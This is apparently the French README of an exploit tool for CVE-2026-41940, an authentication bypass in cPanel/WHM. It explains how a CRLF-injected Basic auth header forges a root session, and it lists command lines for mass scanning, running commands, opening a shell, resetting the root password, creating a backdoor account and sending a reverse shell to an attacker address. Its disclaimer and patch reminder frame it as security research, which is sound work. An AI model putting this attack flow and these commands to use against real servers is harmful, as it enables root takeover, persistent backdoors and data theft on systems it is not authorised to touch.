CVE-2026-41940 : Contournement d'authentification cPanel/WHM (cible unique et multi-cibles)
Avertissement : Ce document et le script associé (exploit.py) sont fournis strictement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés. N'utilisez pas ce logiciel contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
Vue d'ensemble
exploit.py est un script qui démontre une vulnérabilité de contournement d'authentification (CVE-2026-41940) dans cPanel & WHM. La vulnérabilité permet à un attaquant non authentifié d'injecter une session root dans le cache du démon via une faille d'injection CRLF, accordant en fin de compte un accès WHM de niveau root sans nécessiter d'identifiants valides.
Analyse de la vulnérabilité et déroulement de l'exploitation
L'exploit fonctionne en exploitant une vulnérabilité d'injection CRLF (Carriage Return Line Feed) dans le mécanisme de gestion de l'authentification Basic, combinée à une faille de propagation de session. Le script automatise l'attaque en quatre étapes :
- Création de session pré-authentification : Connexion aux points de terminaison de connexion publics (par exemple,
/login/ ou /cgi/login.cgi) pour acquérir un cookie de session non authentifié de base (whostmgrsession).
- Injection CRLF : Envoi d'un en-tête d'authentification Basic forgé contenant une charge utile encodée en Base64 qui injecte directement les champs de session root dans le cache de session
cpsrvd. La réponse de redirection du serveur divulgue le jeton de sécurité généré (cpsess).
- Propagation de session : Le cookie de session brut est envoyé à un point de terminaison WHM authentifié, déclenchant
do_token_denied pour propager la session forgée dans le cache du démon — ce qui en fait une session authentifiée valide.
- Vérification : Accès aux points de terminaison restreints de l'API WHM (par exemple,
/json-api/version) en utilisant la session forgée pour confirmer l'accès de niveau root.
Prérequis
- Python 3.x
- Bibliothèque
requests
Utilisation
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Arguments
Sélection de la cible
| Argument | Description |
|---|
--target URL | URL WHM unique (par exemple, https://target:2087) |
--target-file FILE | Fichier contenant les cibles (une ip:port par ligne) — active automatiquement le mode vérification |
Options réseau et principales
Options d'exploitation (après contournement)
Options de sortie
| Argument | Description |
|---|
--output FILE | Enregistre le jeton de session et les détails dans un fichier JSON |
Exemples
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Commandes du shell interactif
Lorsque vous utilisez --shell, les commandes suivantes sont disponibles :
Rappel
Appliquez immédiatement les derniers correctifs de sécurité cPanel/WHM.